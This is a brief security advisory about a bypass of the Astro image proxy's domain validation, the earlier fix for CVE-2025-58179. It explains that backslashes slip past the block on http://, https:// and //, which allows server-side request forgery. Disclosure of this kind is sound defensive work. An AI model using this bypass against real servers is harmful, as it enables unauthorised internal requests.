Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

Details

### Summary

This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch.
